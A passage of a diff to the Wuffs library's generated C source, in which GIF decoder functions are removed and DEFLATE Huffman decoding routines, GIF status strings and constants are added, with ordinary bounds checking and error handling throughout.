self->private_data.f_huffs[1u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; -+ v_table_entry_n_bits = (v_table_entry & 15u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ } -+ if ((v_table_entry >> 24u) != 64u) { -+ if ((v_table_entry >> 24u) == 8u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -+ goto exit; - } -- self->private_impl.f_frame_rect_x1 = t_2; -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ goto exit; - } -- self->private_impl.f_frame_rect_x1 += self->private_impl.f_frame_rect_x0; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- uint32_t t_3; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_3 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_decode_id_part0[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_id_part0[0].scratch; -- uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; -- if (num_bits_3 == 8) { -- t_3 = ((uint32_t)(*scratch)); -- break; -- } -- num_bits_3 += 8u; -- *scratch |= ((uint64_t)(num_bits_3)) << 56; -+ v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); -+ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); -+ v_dist_minus_1 = ((v_dist_minus_1 + ((uint32_t)(((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 32767u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ do { -+ if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { -+ v_hlen = 0u; -+ v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); -+ if (v_length > v_hdist) { -+ v_length -= v_hdist; -+ v_hlen = v_hdist; -+ } else { -+ v_hlen = v_length; -+ v_length = 0u; -+ } -+ v_hdist += v_hdist_adjustment; -+ if (self->private_impl.f_history_index < v_hdist) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); -+ goto exit; -+ } -+ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( -+ &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); -+ if (v_length == 0u) { -+ goto label__loop__continue; -+ } -+ if ((((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) || (((uint64_t)(v_length)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_length + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst)))) { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_distance); -+ goto exit; - } - } -- self->private_impl.f_frame_rect_y1 = t_3; -- } -- self->private_impl.f_frame_rect_y1 += self->private_impl.f_frame_rect_y0; -- self->private_impl.f_dst_x = self->private_impl.f_frame_rect_x0; -- self->private_impl.f_dst_y = self->private_impl.f_frame_rect_y0; -- if ((self->private_impl.f_num_decoded_frame_configs_value == 0u) && ! self->private_impl.f_quirks[4u]) { -- self->private_impl.f_width = wuffs_base__u32__max(self->private_impl.f_width, self->private_impl.f_frame_rect_x1); -- self->private_impl.f_height = wuffs_base__u32__max(self->private_impl.f_height, self->private_impl.f_frame_rect_y1); -+ if ((v_dist_minus_1 + 1u) >= 8u) { -+ wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( -+ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); -+ } else if ((v_dist_minus_1 + 1u) == 1u) { -+ wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast( -+ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); -+ } else { -+ wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast( -+ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); -+ } -+ } while (0); -+ } -+ if (v_n_bits > 63u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); -+ goto exit; -+ } -+ while (v_n_bits >= 8u) { -+ v_n_bits -= 8u; -+ if (iop_a_src > io1_a_src) { -+ iop_a_src--; -+ } else { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_i_o); -+ goto exit; - } -- -- goto ok; -- ok: -- self->private_impl.p_decode_id_part0[0] = 0; -+ } -+ self->private_impl.f_bits = ((uint32_t)((v_bits & ((((uint64_t)(1u)) << v_n_bits) - 1u)))); -+ self->private_impl.f_n_bits = v_n_bits; -+ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> self->private_impl.f_n_bits) != 0u)) { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); - goto exit; - } -- -- goto suspend; -- suspend: -- self->private_impl.p_decode_id_part0[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- - goto exit; - exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } - if (a_src && a_src->data.ptr) { - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -@@ -38777,25 +40287,49 @@ wuffs_gif__decoder__decode_id_part0( - return status; - } - --// -------- func gif.decoder.decode_id_part1 -+// -------- func deflate.decoder.decode_huffman_slow - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_gif__decoder__decode_id_part1( -- wuffs_gif__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend) { -+wuffs_deflate__decoder__decode_huffman_slow( -+ wuffs_deflate__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint8_t v_flags = 0; -- uint8_t v_which_palette = 0; -- uint32_t v_num_palette_entries = 0; -- uint32_t v_i = 0; -- uint32_t v_argb = 0; -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- uint8_t v_lw = 0; -+ uint32_t v_bits = 0; -+ uint32_t v_n_bits = 0; -+ uint32_t v_table_entry = 0; -+ uint32_t v_table_entry_n_bits = 0; -+ uint32_t v_lmask = 0; -+ uint32_t v_dmask = 0; -+ uint32_t v_b0 = 0; -+ uint32_t v_redir_top = 0; -+ uint32_t v_redir_mask = 0; -+ uint32_t v_b1 = 0; -+ uint32_t v_length = 0; -+ uint32_t v_b2 = 0; -+ uint32_t v_b3 = 0; -+ uint32_t v_b4 = 0; -+ uint32_t v_dist_minus_1 = 0; -+ uint32_t v_b5 = 0; -+ uint32_t v_n_copied = 0; -+ uint32_t v_hlen = 0; -+ uint32_t v_hdist = 0; - -+ uint8_t* iop_a_dst = NULL; -+ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; - const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -38807,139 +40341,275 @@ wuffs_gif__decoder__decode_id_part1( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_id_part1[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_huffman_slow; - if (coro_susp_point) { -- v_which_palette = self->private_data.s_decode_id_part1[0].v_which_palette; -- v_num_palette_entries = self->private_data.s_decode_id_part1[0].v_num_palette_entries; -- v_i = self->private_data.s_decode_id_part1[0].v_i; -+ v_bits = self->private_data.s_decode_huffman_slow.v_bits; -+ v_n_bits = self->private_data.s_decode_huffman_slow.v_n_bits; -+ v_table_entry_n_bits = self->private_data.s_decode_huffman_slow.v_table_entry_n_bits; -+ v_lmask = self->private_data.s_decode_huffman_slow.v_lmask; -+ v_dmask = self->private_data.s_decode_huffman_slow.v_dmask; -+ v_redir_top = self->private_data.s_decode_huffman_slow.v_redir_top; -+ v_redir_mask = self->private_data.s_decode_huffman_slow.v_redir_mask; -+ v_length = self->private_data.s_decode_huffman_slow.v_length; -+ v_dist_minus_1 = self->private_data.s_decode_huffman_slow.v_dist_minus_1; - } - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_0 = *iop_a_src++; -- v_flags = t_0; -- } -- if ((v_flags & 64u) != 0u) { -- self->private_impl.f_interlace = 4u; -- } else { -- self->private_impl.f_interlace = 0u; -+ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); -+ goto exit; - } -- v_which_palette = 1u; -- if ((v_flags & 128u) != 0u) { -- v_num_palette_entries = (((uint32_t)(1u)) << (1u + (v_flags & 7u))); -- v_i = 0u; -- while (v_i < v_num_palette_entries) { -+ v_bits = self->private_impl.f_bits; -+ v_n_bits = self->private_impl.f_n_bits; -+ v_lmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); -+ v_dmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); -+ label__loop__continue:; -+ while ( ! (self->private_impl.p_decode_huffman_slow != 0)) { -+ while (true) { -+ v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; -+ v_table_entry_n_bits = (v_table_entry & 15u); -+ if (v_n_bits >= v_table_entry_n_bits) { -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ break; -+ } - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- uint32_t t_1; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { -- t_1 = ((uint32_t)(wuffs_base__peek_u24be__no_bounds_check(iop_a_src))); -- iop_a_src += 3; -- } else { -- self->private_data.s_decode_id_part1[0].scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint32_t t_0 = *iop_a_src++; -+ v_b0 = t_0; -+ } -+ v_bits |= (v_b0 << v_n_bits); -+ v_n_bits += 8u; -+ } -+ if ((v_table_entry >> 31u) != 0u) { -+ self->private_data.s_decode_huffman_slow.scratch = ((uint8_t)((v_table_entry >> 8u))); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (iop_a_dst == io2_a_dst) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ goto suspend; -+ } -+ *iop_a_dst++ = ((uint8_t)(self->private_data.s_decode_huffman_slow.scratch)); -+ continue; -+ } else if ((v_table_entry >> 30u) != 0u) { -+ } else if ((v_table_entry >> 29u) != 0u) { -+ self->private_impl.f_end_of_block = true; -+ break; -+ } else if ((v_table_entry >> 28u) != 0u) { -+ v_redir_top = ((v_table_entry >> 8u) & 65535u); -+ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); -+ while (true) { -+ v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; -+ v_table_entry_n_bits = (v_table_entry & 15u); -+ if (v_n_bits >= v_table_entry_n_bits) { -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ break; -+ } -+ { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_id_part1[0].scratch; -- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); -- if (num_bits_1 == 16) { -- t_1 = ((uint32_t)(*scratch >> 40)); -- break; -- } -- num_bits_1 += 8u; -- *scratch |= ((uint64_t)(num_bits_1)); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -+ uint32_t t_1 = *iop_a_src++; -+ v_b1 = t_1; - } -- v_argb = t_1; -+ v_bits |= (v_b1 << v_n_bits); -+ v_n_bits += 8u; - } -- v_argb |= 4278190080u; -- self->private_data.f_palettes[1u][((4u * v_i) + 0u)] = ((uint8_t)((v_argb >> 0u))); -- self->private_data.f_palettes[1u][((4u * v_i) + 1u)] = ((uint8_t)((v_argb >> 8u))); -- self->private_data.f_palettes[1u][((4u * v_i) + 2u)] = ((uint8_t)((v_argb >> 16u))); -- self->private_data.f_palettes[1u][((4u * v_i) + 3u)] = ((uint8_t)((v_argb >> 24u))); -- v_i += 1u; -+ if ((v_table_entry >> 31u) != 0u) { -+ self->private_data.s_decode_huffman_slow.scratch = ((uint8_t)((v_table_entry >> 8u))); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ if (iop_a_dst == io2_a_dst) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ goto suspend; -+ } -+ *iop_a_dst++ = ((uint8_t)(self->private_data.s_decode_huffman_slow.scratch)); -+ continue; -+ } else if ((v_table_entry >> 30u) != 0u) { -+ } else if ((v_table_entry >> 29u) != 0u) { -+ self->private_impl.f_end_of_block = true; -+ break; -+ } else if ((v_table_entry >> 28u) != 0u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ goto exit; -+ } else if ((v_table_entry >> 27u) != 0u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -+ goto exit; -+ } else { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ goto exit; -+ } -+ } else if ((v_table_entry >> 27u) != 0u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -+ goto exit; -+ } else { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ goto exit; - } -- while (v_i < 256u) { -- self->private_data.f_palettes[1u][((4u * v_i) + 0u)] = 0u; -- self->private_data.f_palettes[1u][((4u * v_i) + 1u)] = 0u; -- self->private_data.f_palettes[1u][((4u * v_i) + 2u)] = 0u; -- self->private_data.f_palettes[1u][((4u * v_i) + 3u)] = 255u; -- v_i += 1u; -+ v_length = (((v_table_entry >> 8u) & 255u) + 3u); -+ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); -+ if (v_table_entry_n_bits > 0u) { -+ while (v_n_bits < v_table_entry_n_bits) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint32_t t_2 = *iop_a_src++; -+ v_b2 = t_2; -+ } -+ v_bits |= (v_b2 << v_n_bits); -+ v_n_bits += 8u; -+ } -+ v_length = (((v_length + 253u + ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 255u) + 3u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; - } -- } else if (self->private_impl.f_quirks[6u] && ! self->private_impl.f_has_global_palette) { -- status = wuffs_base__make_status(wuffs_gif__error__bad_palette); -- goto exit; -- } else if (self->private_impl.f_gc_has_transparent_index) { -- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_palettes[1u], 1024), wuffs_base__make_slice_u8(self->private_data.f_palettes[0u], 1024)); -- } else { -- v_which_palette = 0u; -- } -- if (self->private_impl.f_gc_has_transparent_index) { -- self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 0u)] = 0u; -- self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 1u)] = 0u; -- self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 2u)] = 0u; -- self->private_data.f_palettes[1u][((4u * ((uint32_t)(self->private_impl.f_gc_transparent_index))) + 3u)] = 0u; -- } -- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, -- wuffs_base__pixel_buffer__pixel_format(a_dst), -- wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), -- wuffs_base__utility__make_pixel_format(2198077448u), -- wuffs_base__make_slice_u8(self->private_data.f_palettes[v_which_palette], 1024), -- a_blend); -- if ( ! wuffs_base__status__is_ok(&v_status)) { -- status = v_status; -- if (wuffs_base__status__is_error(&status)) { -- goto exit; -- } else if (wuffs_base__status__is_suspension(&status)) { -- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ while (true) { -+ v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; -+ v_table_entry_n_bits = (v_table_entry & 15u); -+ if (v_n_bits >= v_table_entry_n_bits) { -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ break; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint32_t t_3 = *iop_a_src++; -+ v_b3 = t_3; -+ } -+ v_bits |= (v_b3 << v_n_bits); -+ v_n_bits += 8u; -+ } -+ if ((v_table_entry >> 28u) == 1u) { -+ v_redir_top = ((v_table_entry >> 8u) & 65535u); -+ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); -+ while (true) { -+ v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; -+ v_table_entry_n_bits = (v_table_entry & 15u); -+ if (v_n_bits >= v_table_entry_n_bits) { -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ break; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint32_t t_4 = *iop_a_src++; -+ v_b4 = t_4; -+ } -+ v_bits |= (v_b4 << v_n_bits); -+ v_n_bits += 8u; -+ } -+ } -+ if ((v_table_entry >> 24u) != 64u) { -+ if ((v_table_entry >> 24u) == 8u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); - goto exit; - } -- goto ok; -- } -- if (self->private_impl.f_ignored_but_affects_benchmarks) { -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); -+ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); -+ if (v_table_entry_n_bits > 0u) { -+ while (v_n_bits < v_table_entry_n_bits) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint32_t t_5 = *iop_a_src++; -+ v_b5 = t_5; -+ } -+ v_bits |= (v_b5 << v_n_bits); -+ v_n_bits += 8u; -+ } -+ v_dist_minus_1 = ((v_dist_minus_1 + ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 32767u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ } -+ while (true) { -+ if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { -+ v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); -+ if (v_hdist < v_length) { -+ v_hlen = v_hdist; -+ } else { -+ v_hlen = v_length; -+ } -+ v_hdist += ((uint32_t)(((uint64_t)(self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u))))); -+ if (self->private_impl.f_history_index < v_hdist) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); -+ goto exit; -+ } -+ v_n_copied = wuffs_private_impl__io_writer__limited_copy_u32_from_slice( -+ &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); -+ if (v_n_copied < v_hlen) { -+ v_length -= v_n_copied; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); -+ continue; -+ } -+ v_length -= v_hlen; -+ if (v_length == 0u) { -+ goto label__loop__continue; -+ } -+ } -+ v_n_copied = wuffs_private_impl__io_writer__limited_copy_u32_from_history( -+ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); -+ if (v_length <= v_n_copied) { -+ goto label__loop__continue; -+ } -+ v_length -= v_n_copied; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); - } -- uint8_t t_2 = *iop_a_src++; -- v_lw = t_2; - } -- if (v_lw > 8u) { -- status = wuffs_base__make_status(wuffs_gif__error__bad_literal_width); -+ self->private_impl.f_bits = v_bits; -+ self->private_impl.f_n_bits = v_n_bits; -+ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); - goto exit; - } -- self->private_impl.f_lzw_pending_literal_width_plus_one = ((uint32_t)((1u + v_lw))); -- self->private_impl.f_ignored_but_affects_benchmarks = true; - - ok: -- self->private_impl.p_decode_id_part1[0] = 0; -+ self->private_impl.p_decode_huffman_slow = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_id_part1[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_decode_id_part1[0].v_which_palette = v_which_palette; -- self->private_data.s_decode_id_part1[0].v_num_palette_entries = v_num_palette_entries; -- self->private_data.s_decode_id_part1[0].v_i = v_i; -+ self->private_impl.p_decode_huffman_slow = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_huffman_slow.v_bits = v_bits; -+ self->private_data.s_decode_huffman_slow.v_n_bits = v_n_bits; -+ self->private_data.s_decode_huffman_slow.v_table_entry_n_bits = v_table_entry_n_bits; -+ self->private_data.s_decode_huffman_slow.v_lmask = v_lmask; -+ self->private_data.s_decode_huffman_slow.v_dmask = v_dmask; -+ self->private_data.s_decode_huffman_slow.v_redir_top = v_redir_top; -+ self->private_data.s_decode_huffman_slow.v_redir_mask = v_redir_mask; -+ self->private_data.s_decode_huffman_slow.v_length = v_length; -+ self->private_data.s_decode_huffman_slow.v_dist_minus_1 = v_dist_minus_1; - - goto exit; - exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } - if (a_src && a_src->data.ptr) { - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -@@ -38947,782 +40617,538 @@ wuffs_gif__decoder__decode_id_part1( - return status; - } - --// -------- func gif.decoder.decode_id_part2 -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__DEFLATE) -+ -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GIF) -+ -+// ---------------- Status Codes Implementations -+ -+const char wuffs_gif__error__bad_lzw_code[] = "#gif: bad LZW code"; -+const char wuffs_gif__error__bad_extension_label[] = "#gif: bad extension label"; -+const char wuffs_gif__error__bad_frame_size[] = "#gif: bad frame size"; -+const char wuffs_gif__error__bad_graphic_control[] = "#gif: bad graphic control"; -+const char wuffs_gif__error__bad_header[] = "#gif: bad header"; -+const char wuffs_gif__error__bad_literal_width[] = "#gif: bad literal width"; -+const char wuffs_gif__error__bad_palette[] = "#gif: bad palette"; -+const char wuffs_gif__error__truncated_input[] = "#gif: truncated input"; -+const char wuffs_gif__error__internal_error_inconsistent_i_o[] = "#gif: internal error: inconsistent I/O"; -+ -+// ---------------- Private Consts -+ -+static const uint32_t -+WUFFS_GIF__INTERLACE_START[5] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 4294967295u, 1u, 2u, 4u, 0u, -+}; -+ -+static const uint8_t -+WUFFS_GIF__INTERLACE_DELTA[5] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 1u, 2u, 4u, 8u, 8u, -+}; -+ -+static const uint8_t -+WUFFS_GIF__INTERLACE_COUNT[5] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 0u, 1u, 2u, 4u, 8u, -+}; -+ -+static const uint8_t -+WUFFS_GIF__ANIMEXTS1DOT0[11] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 65u, 78u, 73u, 77u, 69u, 88u, 84u, 83u, -+ 49u, 46u, 48u, -+}; -+ -+static const uint8_t -+WUFFS_GIF__NETSCAPE2DOT0[11] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 78u, 69u, 84u, 83u, 67u, 65u, 80u, 69u, -+ 50u, 46u, 48u, -+}; -+ -+static const uint8_t -+WUFFS_GIF__ICCRGBG1012[11] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 73u, 67u, 67u, 82u, 71u, 66u, 71u, 49u, -+ 48u, 49u, 50u, -+}; -+ -+static const uint8_t -+WUFFS_GIF__XMPDATAXMP[11] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 88u, 77u, 80u, 32u, 68u, 97u, 116u, 97u, -+ 88u, 77u, 80u, -+}; -+ -+#define WUFFS_GIF__QUIRKS_BASE 1041635328u -+ -+#define WUFFS_GIF__QUIRKS_COUNT 7u -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_gif__decoder__decode_id_part2( -+wuffs_gif__decoder__do_decode_image_config( -+ wuffs_gif__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_gif__decoder__do_tell_me_more( -+ wuffs_gif__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_gif__decoder__do_decode_frame_config( -+ wuffs_gif__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_gif__decoder__skip_frame( -+ wuffs_gif__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_gif__decoder__do_decode_frame( - wuffs_gif__decoder* self, - wuffs_base__pixel_buffer* a_dst, - wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint64_t v_block_size = 0; -- bool v_need_block_size = false; -- uint32_t v_n_copied = 0; -- 